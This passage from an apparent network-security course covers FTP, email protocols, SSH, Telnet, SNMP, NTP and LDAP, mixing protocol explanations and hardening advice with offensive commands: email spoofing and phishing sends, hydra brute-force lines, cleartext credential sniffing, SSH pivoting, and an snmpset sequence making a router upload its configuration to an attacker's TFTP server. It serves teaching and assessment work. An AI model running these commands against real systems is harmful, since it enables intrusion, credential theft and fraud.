# Filter: ftp.request.command == "USER" or ftp.request.command == "PASS"

# FTP connection tracking with tcpdump:
sudo tcpdump -i eth0 -n 'port 21 or port 20' -A

# Enumerate FTP on a network:
sudo nmap -sV -p 21 --open 192.168.1.0/24

3.2 SFTP — SSH File Transfer Protocol

SFTP is NOT FTP over SSH (that is FTPS). It is an entirely different protocol — a subsystem of SSH that provides file transfer functionality.

SFTP characteristics:
  Port: 22 (same as SSH — runs as SSH subsystem)
  Encryption: full encryption via SSH (AES, ChaCha20)
  Authentication: SSH authentication (password, key-based)
  Channel: single encrypted channel (no separate data channel)
  Commands: binary protocol (not human-readable like FTP)

SFTP has no equivalent to FTP's cleartext credentials.
SFTP has no equivalent to FTP's cleartext file transfer.
SFTP is the correct replacement for FTP in all cases.

# SFTP usage:
sftp user@host                              # Interactive session
sftp -P 2222 user@host                      # Non-standard SSH port

# SFTP batch mode (automation):
sftp -b batch_file user@host                # Execute commands from file

# SFTP within scripts:
sftp user@host << 'EOF'
cd /remote/directory
put localfile.txt
get remotefile.txt
ls
bye
EOF

# Use SSH key authentication (no password prompts in scripts):
sftp -i ~/.ssh/id_ed25519 user@host

# Scan for SFTP capability (runs on SSH port):
nmap -sV -p 22 target_ip
# If SSH is open, SFTP is almost certainly available
# Try: ssh target_ip subsystem sftp

3.3 FTPS — FTP Secure (FTP over TLS)

FTPS adds TLS to FTP. It is NOT SFTP. It still has the dual-channel architecture, which creates firewall complexity.

Two FTPS modes:

Explicit FTPS (FTPES):
  Client connects to port 21 (standard FTP)
  Client sends AUTH TLS command
  Negotiates TLS on control channel
  PASV for data channel (also TLS encrypted)

Implicit FTPS:
  Client connects to port 990 (dedicated FTPS port)
  TLS immediately negotiated
  No explicit AUTH command
  Data port: 989

FTPS vs SFTP comparison:
  Feature         FTPS           SFTP
  Protocol        FTP + TLS      SSH subsystem
  Port            21/990 + range  22
  Firewall        Complex        Simple
  Channels        Two            One
  Authentication  FTP auth + TLS SSH auth
  Encryption      TLS            SSH
  Legacy compat   Yes            No (different protocol)

Key Insight: FTP should be eliminated from every environment. Every argument for keeping it ("it's only internal," "only trusted users," "we've always used it") can be countered with "it transmits credentials in cleartext." SFTP achieves everything FTP does, without the cleartext exposure. If you find FTP during an assessment — in IT or OT environments — it is a finding. Period.

4. SMTP, POP3, and IMAP

4.1 Email Architecture — Three Protocols, One System

Email involves three distinct protocols working together:

SMTP (Simple Mail Transfer Protocol):    SENDING email
  Port 25: Server-to-server (MTA to MTA)
  Port 587: Client submission (MUA to MTA) — requires auth
  Port 465: SMTP over TLS (legacy, but still used)

POP3 (Post Office Protocol v3):          RETRIEVING email (download)
  Port 110: POP3 cleartext
  Port 995: POP3S (over TLS)

IMAP (Internet Message Access Protocol): RETRIEVING email (sync)
  Port 143: IMAP cleartext
  Port 993: IMAPS (over TLS)

Email flow:
  Sender → [SMTP/587] → Sender's MTA → [SMTP/25] → Recipient's MTA
           → Mailbox storage
  Recipient → [IMAP/IMAPS or POP3/POP3S] → Read email

4.2 SMTP — Simple Mail Transfer Protocol

SMTP (RFC 5321) governs how email is transmitted between servers. Understanding SMTP is essential because email is the primary phishing and malware delivery vector.

SMTP Session Example:

TCP connection established to port 25

S: 220 mail.example.com ESMTP Postfix
C: EHLO attacker.com                    ← Extended HELLO (ESMTP)
S: 250-mail.example.com Hello attacker
S: 250-SIZE 52428800
S: 250-STARTTLS                         ← TLS upgrade available
S: 250-AUTH LOGIN PLAIN                 ← Authentication methods
S: 250 DSN

C: MAIL FROM:<sender@attacker.com>      ← Envelope sender (can be spoofed)
S: 250 Ok

C: RCPT TO:<victim@example.com>         ← Recipient
S: 250 Ok

C: DATA                                 ← Start message body
S: 354 End data with <CR><LF>.<CR><LF>

C: From: CEO <ceo@legitimate.com>       ← Header From (displayed to user, can differ from envelope)
C: To: victim@example.com
C: Subject: Urgent: Wire Transfer Required
C: Date: Mon, 29 May 2026 10:00:00 +0000
C:                                       ← Blank line separates headers from body
C: Please urgently transfer $50,000 to account...
C: .                                    ← Single dot on line = end of message
S: 250 Ok: queued as ABC123

C: QUIT
S: 221 Bye

The Critical Security Problem — Email Spoofing:

The MAIL FROM (envelope sender) and the From: header (displayed sender) can be completely different. A mail server that does not validate these can receive and deliver email claiming to be from any domain.

Proof-of-concept email spoofing (test only on systems you own):

# Using sendmail/postfix locally:
echo "Subject: Test
From: ceo@company.com
To: victim@company.com

This is a spoofed email" | sendmail -f "ceo@company.com" victim@company.com

# Using swaks (Swiss Army Knife for SMTP):
swaks --to victim@target.com \
      --from ceo@target.com \          # Spoofed From
      --server mail.target.com \
      --header "Subject: Urgent" \
      --body "Please approve this payment immediately"

# Check if a mail server allows relaying (open relay):
swaks --to nonexistent@gmail.com \
      --from fake@fake.com \
      --server target_mail_server
# If it accepts: open relay — will deliver email from anyone to anyone

Email Authentication — SPF, DKIM, DMARC (Revisited from 1.4):

Without proper authentication:
  Anyone can send email claiming to be from your domain
  BEC (Business Email Compromise) attacks exploit this
  FBI reported $2.7 billion in BEC losses in 2022

Checking email authentication on a received email:
  Look at email headers in your mail client (View Source/Original)

  Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of sender@example.com) smtp.mailfrom=sender@example.com;
       dkim=pass header.i=@example.com header.s=selector1;
       dmarc=pass (p=REJECT sp=REJECT) header.from=example.com

  All three pass = legitimate email
  Any fail = suspicious — may be spoofed

SMTP Security Checks:

# Check if STARTTLS is supported (TLS upgrade):
openssl s_client -connect mail.target.com:25 -starttls smtp
# If no TLS: credentials and content transmitted in cleartext

# Check for open relay:
nmap --script smtp-open-relay -p 25 mail.target.com

# Enumerate SMTP users (VRFY/EXPN commands):
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} \
    -p 25 mail.target.com
# VRFY: verify if user exists
# EXPN: expand mailing list
# RCPT TO: most servers allow testing valid recipients

# Manual VRFY:
nc mail.target.com 25
EHLO test.com
VRFY admin@target.com       # 250 = user exists, 550 = doesn't exist
VRFY user@target.com

# Check SPF record:
dig TXT target.com | grep "v=spf1"

# Check DMARC:
dig TXT _dmarc.target.com

# Send test email via SMTP for phishing simulation (authorised only):
swaks --to target@victim.com \
      --from helpdesk@company.com \
      --server internal-mail-server \
      --tls \
      --auth-user helpdesk \
      --auth-password password \
      --header "Subject: Password Reset Required" \
      --attach payload.pdf

4.3 POP3 vs IMAP — Security Differences

POP3:
  Downloads email from server, optionally deletes server copy
  Email stored locally after download
  No sync between multiple devices (once downloaded on laptop, not on phone)
  Simple protocol — limited commands
  Credentials transmitted in cleartext unless POP3S (port 995)

  Authentication (plaintext on port 110):
  +OK POP3 server ready
  USER admin
  +OK
  PASS password123    ← Cleartext password on wire
  +OK 5 messages waiting

IMAP:
  Email stored on server — client syncs
  Multiple devices see same mailbox state
  Rich protocol — search, folders, flags
  Credentials transmitted in cleartext unless IMAPS (port 993)

  Why IMAP is the forensic gold mine:
  Deleted emails often remain server-side in Trash folder
  Read/unread status reveals when attacker accessed account
  Login records show access from multiple IPs (BEC investigation)

# Brute force email credentials:
hydra -L users.txt -P passwords.txt imap://mail.target.com
hydra -L users.txt -P passwords.txt pop3://mail.target.com
hydra -L users.txt -P passwords.txt smtp://mail.target.com:587

# Connect to IMAP manually (forensics):
openssl s_client -connect mail.target.com:993    # IMAPS
# A1 LOGIN user@domain.com password
# A2 LIST "" "*"              ← List all folders
# A3 SELECT INBOX
# A4 FETCH 1:* (FLAGS ENVELOPE)    ← List all messages with metadata
# A5 FETCH 1 BODY[]               ← Download message 1
# A6 SELECT "Sent"               ← Access Sent folder
# A7 SELECT "Deleted Items"       ← Recover deleted emails

# Capture cleartext IMAP credentials:
sudo tcpdump -i eth0 -n -A 'port 143' | grep -E "LOGIN|PASS"

Key Insight: Email protocols are the primary delivery mechanism for malware, phishing, and BEC attacks. SPF + DKIM + DMARC with p=reject is the only configuration that actively prevents domain spoofing — anything less is a gap. Cleartext POP3 and IMAP should not exist; IMAPS/POP3S are the minimum, and even better is requiring OAuth-based authentication.

5. SSH — Secure Shell

5.1 SSH Architecture

SSH (Secure Shell, RFC 4253) provides cryptographically secured remote shell access, file transfer (SFTP), and port forwarding. It was designed explicitly to replace Telnet and rlogin with an encrypted alternative.

SSH Protocol Layers:

SSH-TRANSPORT (RFC 4253):
  Negotiates: host key algorithm, cipher, MAC, compression
  Performs: key exchange (Diffie-Hellman or ECDH)
  Establishes: symmetric session key
  Provides: encryption, integrity, optional compression

SSH-USERAUTH (RFC 4252):
  Authentication methods:
    - publickey: verify signature with user's private key
    - password: encrypt password with session key, send to server
    - keyboard-interactive: challenge-response
    - hostbased: based on client hostname (dangerous — rarely used)
    - gssapi-with-mic: Kerberos/GSSAPI
    - none: used to determine what methods server accepts

SSH-CONNECTION (RFC 4254):
  Multiplexes multiple logical channels over one SSH connection:
    - Session channel: shell, command execution, subsystems (SFTP)
    - Direct-tcpip: local port forwarding (tunnel)
    - Forwarded-tcpip: remote port forwarding
    - X11: X11 forwarding

SSH Key Exchange:

SSH connection setup:
1. Client connects to server TCP 22
2. Server sends identification string: SSH-2.0-OpenSSH_8.9
3. Client sends identification string: SSH-2.0-OpenSSH_8.9
4. Both parties negotiate algorithms (KEY EXCHANGE INIT):
   - Key exchange: curve25519-sha256 (preferred), diffie-hellman-group14-sha256
   - Host key: ssh-ed25519, rsa-sha2-512, ecdsa-sha2-nistp256
   - Cipher: chacha20-poly1305, aes256-gcm, aes128-ctr
   - MAC: hmac-sha2-256, hmac-sha2-512
5. Diffie-Hellman key exchange → shared secret
6. Session key derived from shared secret
7. Host key authentication:
   Server signs a hash of the negotiated parameters with its private host key
   Client verifies signature against trusted host public key
   → Proves server is who it claims (TOFU — Trust On First Use by default)
8. User authentication begins

SSH Host Key Verification — The Security Foundation:

First connection to a new host:
  $ ssh user@192.168.1.100
  The authenticity of host '192.168.1.100' can't be established.
  ED25519 key fingerprint is SHA256:abc123...
  Are you sure you want to continue connecting (yes/no)?

This prompt is critical:
  YES: Accept and cache the host key (stored in ~/.ssh/known_hosts)
       Future connections verify against this cached key
  NO:  Decline — connection aborted

If host key changes later:
  WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
  ...
  POSSIBLE HACKS! SOMEONE IS DOING SOMETHING NASTY!

This warning means:
  A) The server's SSH keys were regenerated (legitimate — server reinstall)
  B) A MITM attack is redirecting your connection to a fake server
  C) The IP now points to a different server (legitimate — server replaced)

Action: Verify the host key out-of-band before accepting.
NEVER blindly accept a changed host key.

5.2 SSH Authentication Methods

Password Authentication:

ssh -o PreferredAuthentications=password user@host  # Force password auth
# Risk: brute force possible, password in memory, cleartext inside TLS (but TLS encrypted on wire)
# Disable: PasswordAuthentication no in /etc/ssh/sshd_config

Public Key Authentication (Recommended):

# Generate key pair:
ssh-keygen -t ed25519 -C "user@machine"    # Ed25519 — best option
ssh-keygen -t rsa -b 4096 -C "user@machine"  # RSA 4096 — legacy compat

# Files created:
# ~/.ssh/id_ed25519       ← Private key (NEVER share this, protect with passphrase)
# ~/.ssh/id_ed25519.pub   ← Public key (safe to share)

# Deploy public key to server:
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@host
# Appends to ~/.ssh/authorized_keys on server

# Manual deployment:
cat ~/.ssh/id_ed25519.pub | ssh user@host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"

# How it works:
# 1. Client sends: "I want to authenticate with key X"
# 2. Server checks: is X in authorized_keys? YES
# 3. Server sends challenge: random bytes encrypted with key X's public key
# 4. Client decrypts with private key, signs the result
# 5. Server verifies signature → only holder of private key could do this

5.3 SSH in Offensive Security

SSH Brute Force:

# Hydra SSH brute force:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://target_ip
hydra -l root -P passwords.txt ssh://target_ip -t 4    # -t = threads (4 for SSH)

# Medusa:
medusa -h target_ip -U users.txt -P passwords.txt -M ssh -t 4

# Ncrack:
ncrack -p 22 --user root -P passwords.txt target_ip

# Default credentials common on IoT/OT:
# root:root, admin:admin, admin:password, pi:raspberry (Raspberry Pi)
# These are worth trying before a full brute force

# Detect SSH brute force in logs:
grep "Failed password" /var/log/auth.log | tail -20
grep "Invalid user" /var/log/auth.log | awk '{print $10}' | sort | uniq -c | sort -rn

SSH Tunnelling — Pivoting:

# Local port forwarding:
# Forward local port 8080 to internal web server through SSH:
ssh -L 8080:192.168.2.100:80 user@192.168.1.100
# Access 192.168.2.100:80 via localhost:8080

# Remote port forwarding:
# Expose attacker's listener through SSH to target's network:
ssh -R 4444:localhost:4444 user@192.168.1.100
# Connections to 192.168.1.100:4444 reach attacker's localhost:4444

# Dynamic (SOCKS) proxy:
ssh -D 1080 user@192.168.1.100    # SOCKS5 proxy on localhost:1080
# Use with proxychains for transparent pivoting:
proxychains nmap -sT 10.10.10.0/24   # Scan through SOCKS proxy

# Autossh — persistent tunnels:
autossh -M 0 -f -N -D 1080 user@pivot_host
# -M 0: no monitoring (use ServerAliveInterval instead)
# -f: run in background
# -N: no command execution

# Real-world pivoting example:
# Access 10.10.10.0/24 (internal network) through compromised host 192.168.1.100:
ssh -D 9050 user@192.168.1.100 -N &
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf
proxychains nmap -sT -Pn -p 22,80,443,445 10.10.10.0/24

5.4 SSH Hardening

# /etc/ssh/sshd_config — security configuration:

# Disable root login:
PermitRootLogin no
# Why: even with strong auth, root login makes brute force more valuable
# Best practice: sudo from regular user

# Disable password authentication:
PasswordAuthentication no
# Why: eliminates brute force entirely. Key-only auth.
# Requirement: all users must have deployed public keys first

# Restrict to specific users:
AllowUsers alice bob            # Only these users can SSH
AllowGroups ssh-users           # Only members of this group

# Change default port (minor obscurity, reduces automated scanning):
Port 2222
# Not a security control, but reduces log noise from automated scanners

# Disable empty passwords:
PermitEmptyPasswords no

# Set authentication timeout:
LoginGraceTime 30              # 30 seconds to authenticate, then disconnect

# Limit authentication attempts:
MaxAuthTries 3                  # Disconnect after 3 failures

# Disable X11 forwarding:
X11Forwarding no
# Unless needed, X11 forwarding is unnecessary attack surface

# Disable TCP forwarding (if SSH is for shell only):
AllowTcpForwarding no
AllowStreamLocalForwarding no
GatewayPorts no

# Use strong ciphers only:
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp521

# Enable two-factor authentication (Google Authenticator or similar):
# Requires libpam-google-authenticator installed
AuthenticationMethods publickey,keyboard-interactive
# User needs both a valid SSH key AND a TOTP code

# Log verbose:
LogLevel VERBOSE                # More detail in /var/log/auth.log

# Restart SSH to apply:
sudo systemctl restart ssh
sudo sshd -t                    # Test configuration for errors first

Key Insight: SSH is the most trusted remote access protocol in existence, which makes it the most valuable target. An attacker with valid SSH credentials or an SSH private key owns the machine. Key-based authentication eliminates brute force entirely. Every SSH deployment without PasswordAuthentication no is an unacceptable risk.

6. Telnet — The Insecure Predecessor

6.1 What Telnet Is and Why It Still Exists

Telnet (RFC 854, 1983) provides remote terminal access. It predates security as a design consideration by more than a decade. Everything — credentials, commands, output — is transmitted in cleartext over TCP port 23.

Telnet session (what anyone on the network sees):

Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

User Access Verification
Username: admin
Password: secretpassword123        ← Visible in plaintext

Router>enable
Password: enablepassword           ← Also visible

Router#show running-config
...entire device configuration transmitted in cleartext...

There is no legitimate security argument for using Telnet where SSH is available. Yet Telnet remains pervasive because:

Legacy OT devices: Many PLCs, RTUs, and industrial switches from the 1990s-2000s only support Telnet. The hardware cannot be upgraded.
Network device management: Older Cisco IOS, Juniper JunOS, and other network operating systems defaulted to Telnet before SSH became standard.
Vendor management software: Some SCADA vendors still use Telnet in their proprietary management tools.
Emergency access: Some environments keep Telnet as a fallback for when SSH certificates expire or configurations break.

6.2 Telnet Security Analysis

# Test if Telnet is open:
nc -zv target_ip 23              # Test connectivity
nmap -sV -p 23 target_ip        # Version + service detection
telnet target_ip                 # Connect manually

# Capture Telnet credentials with tcpdump:
sudo tcpdump -i eth0 -n -A 'port 23' | grep -E "[Pp]assword|[Uu]sername|login:"
# Everything is cleartext — this works reliably

# Capture in Wireshark:
# Filter: tcp.port == 23
# Follow TCP stream → see entire session in cleartext

# Brute force Telnet:
hydra -L users.txt -P passwords.txt telnet://target_ip

# Default credentials worth trying:
# Cisco: admin/admin, cisco/cisco, admin/blank
# Juniper: root/blank (older versions)
# Industrial: admin/admin, admin/1234, operator/operator

# Detect Telnet in enterprise networks:
sudo nmap -sS -p 23 --open 192.168.0.0/16 2>/dev/null
# Any open port 23 in an enterprise environment = immediate finding

Telnet in OT/ICS:

Scope of Telnet in OT environments (2024 reality):
  - Modbus-capable Ethernet adapters: 40-60% support Telnet only
  - Legacy managed switches in substations: often Telnet-only management
  - Some Siemens S7 communications processors: Telnet management
  - Many SCADA data concentrators: Telnet console access
  - Building automation gateways: frequently Telnet-enabled

Assessment approach:
  1. Never assume Telnet is not present — always scan port 23
  2. Never connect via Telnet on production network (credentials captured)
  3. Document finding with: device type, IP, whether default creds work
  4. Remediation path: SSH if supported, isolated management network if not,
     physical console access policy if neither

Compensating controls when Telnet cannot be eliminated:
  - Dedicated management VLAN accessible only from jump server
  - Jump server requires MFA
  - All access logged and monitored
  - Out-of-band management network (physically separate)
  - Network ACL: Telnet accessible ONLY from specific management IPs

Key Insight: Finding Telnet open during an assessment means the attacker already has everything they need from the first network-level MITM — complete plaintext credentials and session content. There is no compensating control that makes Telnet acceptable on a network that shares medium with untrusted hosts. Document it, escalate it, eliminate it.

7. SNMP — Simple Network Management Protocol

7.1 SNMP Architecture

SNMP (Simple Network Management Protocol) allows centralised monitoring and management of network devices — routers, switches, servers, printers, UPS systems, PLCs, and virtually any network-connected hardware.

SNMP Components:
  Manager: monitoring system (SolarWinds, PRTG, Nagios, Zabbix)
  Agent:   software running on managed device
  MIB:     Management Information Base — the database schema

Communication:
  UDP 161: Manager → Agent (queries, set commands)
  UDP 162: Agent → Manager (traps — unsolicited alerts)

SNMP PDU (Protocol Data Unit) types:
  GetRequest:    Manager asks for specific OID value
  GetNextRequest:Manager asks for next OID (used for table walking)
  GetBulkRequest:Manager asks for multiple OIDs efficiently (v2c+)
  SetRequest:    Manager sets a value on agent (read-write community)
  Response:      Agent replies to Get/Set
  Trap:          Agent sends unsolicited alert (link down, threshold exceeded)
  InformRequest: Trap with acknowledgement (v2c+)

OID — Object Identifier:

Everything in SNMP is accessed by OID — a hierarchical dotted notation:

.1.3.6.1.2.1.1.1.0          sysDescr — System description
.1.3.6.1.2.1.1.3.0          sysUpTime — How long since last restart
.1.3.6.1.2.1.1.5.0          sysName — Device hostname
.1.3.6.1.2.1.2.2.1.2        ifDescr — Interface descriptions
.1.3.6.1.2.1.2.2.1.8        ifOperStatus — Interface status (up/down)
.1.3.6.1.2.1.4.20.1.1       ipAdEntAddr — IP addresses configured
.1.3.6.1.2.1.4.21.1.1       ipRouteDest — Routing table destinations
.1.3.6.1.2.1.4.22.1.2       ipNetToMediaPhysAddress — ARP table
.1.3.6.1.2.1.6.13.1.2       tcpConnLocalAddress — Active TCP connections
.1.3.6.1.4.1.9              Cisco enterprise OID branch
.1.3.6.1.4.1.2636           Juniper enterprise OID branch

7.2 SNMP Version Security Comparison

SNMPv1 (1988):
  Authentication: Community string (plaintext password)
  Encryption: NONE — all data cleartext including community string
  Default communities: "public" (read), "private" (read-write)
  Security: NONE by modern standards
  Still in use: Widely, especially in legacy OT environments

SNMPv2c (1993):
  Authentication: Community string (still plaintext)
  Encryption: NONE
  Improvement: Efficiency (GetBulk), performance
  Security: Identical to v1 — still no encryption
  The "c" stands for "community" — acknowledging security not addressed

SNMPv3 (2004):
  Authentication: HMAC-MD5 or HMAC-SHA (message authentication)
  Privacy: AES or DES encryption for payload
  Security levels:
    noAuthNoPriv: no authentication, no encryption (= v1/v2c)
    authNoPriv:   authentication only
    authPriv:     authentication + encryption (ONLY secure level)
  Users: individual user accounts instead of community strings
  Status: The only version that should be deployed

7.3 SNMP Attack Techniques

SNMP Community String Discovery:

# Default community strings to always try:
# public, private, community, snmp, manager, read, write, monitor, 
# default, admin, cisco, juniper, password, secret

# onesixtyone — fast SNMP community string brute force:
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
    192.168.1.0/24
# Scans entire subnet for SNMP with common communities

# nmap SNMP enumeration:
sudo nmap -sU -p 161 --script snmp-brute 192.168.1.1
sudo nmap -sU -p 161 --script snmp-info 192.168.1.1      # Basic info
sudo nmap -sU -p 161 --script snmp-sysdescr 192.168.1.1  # System description

# snmpwalk — walk the entire MIB tree:
snmpwalk -v2c -c public 192.168.1.1                   # All MIB data
snmpwalk -v2c -c public 192.168.1.1 system            # System info only
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.4.20 # IP address table
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.4.21 # Routing table
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.4.22 # ARP table
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.2    # Interfaces

# snmp-check — comprehensive enumeration:
snmp-check -c public -v 2c 192.168.1.1
# Outputs: system info, user accounts, processes, interfaces, routing, ARP cache

# Extract running processes via SNMP (Windows SNMP agent):
snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.2.1.25.4.2
# Reveals: every running process on the Windows machine

# Get Windows installed software via SNMP:
snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.2.1.25.6.3.1.2

SNMP Write Access — Configuration Modification:

# If "private" community or another read-write community is found:

# Set a value (change hostname):
snmpset -v2c -c private 192.168.1.1 \
    1.3.6.1.2.1.1.5.0 s "new-hostname"

# On network devices with SNMP write access, attackers can:
# - Change interface descriptions (minor)
# - Modify routing tables (severe — redirect traffic)
# - Shut down interfaces (DoS)
# - Download/upload device config via TFTP (CISCO-CONFIG-COPY-MIB)
# - Modify ACLs (security bypass)

# Cisco: download running-config via SNMP:
snmpset -v2c -c private 192.168.1.1 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1 \     # protocol = tftp
    1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4 \     # source = running-config
    1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1 \     # destination = file
    1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a 192.168.1.50 \  # TFTP server IP
    1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s "router-config.txt" \  # filename
    1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 1    # activate
# Router uploads its running configuration to attacker's TFTP server
# Contains: all passwords (potentially), routing config, ACLs, everything

SNMP in OT/ICS Environments:

Reality check on SNMP in industrial networks:
  - Network switches in substations: ~70% still use SNMPv1 or v2c
  - Industrial UPS systems: almost always SNMPv1 with default "public"
  - Environmental monitoring (temperature, humidity): SNMPv1 typical
  - Some PLCs: SNMP agent for monitoring (read-only, but reveals process data)
  - SCADA data concentrators: frequently SNMPv2c for NMS integration

Attack scenario in OT:
  1. Attacker on OT network discovers SNMP v2c with "public" community
  2. snmpwalk reveals all network devices, their IPs, interfaces
  3. ARP table reveals all hosts that have communicated recently
  4. Routing table reveals network topology
  5. Attacker now has complete network map without active scanning
     → Passive, low-noise reconnaissance

  With "private" community (still common on legacy switches):
  6. Attacker downloads running configuration of switches
  7. Extracts VLAN configuration, spanning tree, port assignments
  8. May find passwords stored in configuration
  9. Can modify switch configuration to remove port security or ACLs

Key Insight: SNMP v1/v2c with default community strings is the most common single vulnerability in industrial network environments. "Public" community string provides read access to the entire network topology — all devices, all connections, all configurations. This is reconnaissance without a single port scan. SNMPv3 with authPriv is the only acceptable configuration.

8. NTP — Network Time Protocol

8.1 Why Time Synchronisation Is a Security Control

NTP (Network Time Protocol, RFC 5905) synchronises clocks across networked devices. This appears mundane until you understand what breaks without accurate time:

Security systems that depend on accurate time:

Kerberos authentication:
  Ticket timestamps must be within 5 minutes of server time
  Clock skew > 5 minutes → authentication fails
  Attacker who desynchronises clocks → Kerberos paralysis

TLS/SSL certificates:
  Certificate validity is time-bounded (Not Before / Not After)
  Wrong clock → HTTPS connections fail

Log correlation:
  Events across multiple systems can only be correlated if timestamps align
  Forensic timeline analysis requires synchronized clocks
  Attacker who desynchronises logs → forensic timeline becomes unreliable

File system timestamps:
  Evidence in forensic investigations depends on correct timestamps
  Desynchronisation = corrupted evidence trail

ICS Protection Relays:
  Distance protection (zone 1/2/3) relies on precise timing
  PMU (Phasor Measurement Units) require GPS-disciplined NTP for microsecond accuracy
  IEC 61850 GOOSE message timing is time-critical
  IEEE 1588 (PTP — Precision Time Protocol) for sub-microsecond OT timing

8.2 NTP Architecture and Operation

NTP hierarchy (Stratum levels):

Stratum 0: Atomic clocks, GPS receivers, radio clocks — reference clocks
Stratum 1: NTP servers directly connected to Stratum 0 (e.g., time.nist.gov)
Stratum 2: NTP servers synced to Stratum 1 (e.g., pool.ntp.org servers)
Stratum 3: NTP servers synced to Stratum 2 (typical enterprise NTP server)
...
Stratum 15: Maximum usable stratum
Stratum 16: Unsynchronised (clock considered unreliable)

NTP packet exchange (UDP 123):
Client → Server: NTP request (with client's current timestamp)
Server → Client: NTP response (with server timestamps: receive, transmit)
Client calculates: offset, delay, dispersion
Client adjusts local clock gradually (slewing) or jumps (step)

8.3 NTP Attack Techniques

NTP Amplification DDoS (CVE-2013-5211):

The monlist attack:
  NTP has a monitoring command called monlist (MON_GETLIST)
  monlist returns: last 600 clients that connected to this NTP server

  Attack:
  1. Send monlist request with spoofed source IP (victim's IP)
  2. NTP server sends response to victim
  3. Response is 200-700× larger than request
  4. Amplification factor: 556.9× (officially documented)

  Impact:
  With 1 Gbps of spoofed monlist requests → 556 Gbps hits the victim
  Used in 400 Gbps attacks against Cloudflare and CloudFlare customers (2014)

Fix: Upgrade ntpd to 4.2.7+ (monlist disabled by default) or:
ntpd configuration: "disable monitor"

Check if NTP server is vulnerable:
ntpdc -n -c monlist target_ntp_server
# If it returns data: vulnerable to amplification

Check with nmap:
nmap -sU -p 123 --script ntp-monlist target_ip

NTP Time Poisoning:

Attack:
  Attacker MITM's NTP traffic (UDP, easy to spoof/inject)
  Sends crafted NTP responses with wrong timestamps
  Victim clock desynchronises

  Consequences:
  - Kerberos authentication fails (> 5 minute skew)
  - Certificate validation fails
  - Log timestamps become unreliable
  - ICS timing-dependent processes malfunction

  In OT environments (most critical):
  - Protection relays use timestamps for fault location
  - Energy management systems use time for control decisions
  - PMU data becomes unreliable → power system instability

Mitigation:
  NTPsec: authenticated NTP with cryptographic signatures
  Symmetric key authentication in NTP (ntpd configuration)
  PTP (Precision Time Protocol, IEEE 1588) with hardware timestamping for OT
  Multiple NTP sources — single compromised source rejected by median filter

Configure NTP authentication:
# /etc/ntp.conf:
server 192.168.1.1 key 1
keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1

# /etc/ntp.keys:
1 MD5 secretpassword123

# Check current time synchronisation:
timedatectl status              # Linux
chronyc tracking               # If using chrony
ntpq -p                        # If using ntpd — shows peer status

# NTP reconnaissance:
nmap -sU -p 123 --script ntp-info target_ip        # NTP version, reference clock
nmap -sU -p 123 --script ntp-monlist target_ip      # Monlist vulnerability

# Check NTP server stratum:
ntpdate -q ntp_server_ip        # Query without setting clock

# Monitor NTP traffic:
sudo tcpdump -i eth0 -n 'udp port 123'

Key Insight: NTP is a quiet protocol that most administrators configure once and forget. But time synchronisation is a prerequisite for every authentication system (Kerberos, certificates), every forensic investigation (log correlation), and every timing-critical OT system (protection relays, PMUs). An attacker who desynchronises clocks causes authentication failures system-wide and destroys the forensic timeline. NTP security — using authenticated NTP and multiple sources — deserves attention proportional to the systems that depend on it.

9. LDAP — Lightweight Directory Access Protocol

9.1 LDAP and Active Directory

LDAP (Lightweight Directory Access Protocol, RFC 4511) is the protocol used to query and modify directory services. In enterprise environments, LDAP is the interface to Active Directory — the system that manages every user, computer, group, and policy in the Windows domain.

LDAP operates on:
  Port 389: LDAP (cleartext)
  Port 636: LDAPS (LDAP over TLS)
  Port 3268: Global Catalog LDAP
  Port 3269: Global Catalog LDAPS

Directory structure (Distinguished Name — DN):
  DC=company,DC=com                   ← Domain root
  ├── OU=Users                        ← Organizational Units
  │   ├── CN=John Smith               ← User object
  │   └── CN=Jane Doe
  ├── OU=Computers
  │   ├── CN=WORKSTATION01
  │   └── CN=SERVER01
  ├── OU=Groups
  │   ├── CN=Domain Admins            ← Group object
  │   └── CN=IT Staff
  └── CN=Builtin                      ← Built-in objects

LDAP Queries — The Foundation of AD Enumeration:

LDAP query components:
  Base DN:    Where to start searching (DC=company,DC=com)
  Scope:      BASE (one object), ONE (one level), SUB (subtree)
  Filter:     What to match ((objectClass=user), (&(objectClass=user)(memberOf=...)))
  Attributes: What to return (sAMAccountName, mail, memberOf, ...)

Common LDAP filters for AD enumeration:
  (objectClass=user)              All user objects
  (objectClass=computer)          All computer objects
  (objectClass=group)             All group objects
  (&(objectClass=user)(sAMAccountName=john))  Specific user
  (&(objectClass=user)(memberOf=CN=Domain Admins,CN=Builtin,DC=company,DC=com))
                                  All Domain Admin members
  (adminCount=1)                  Protected users (all privileged accounts)
  (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))
                                  Accounts with "password never expires"
  (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))
                                  Disabled accounts
  (servicePrincipalName=*)        Accounts with SPNs (Kerberoasting targets!)
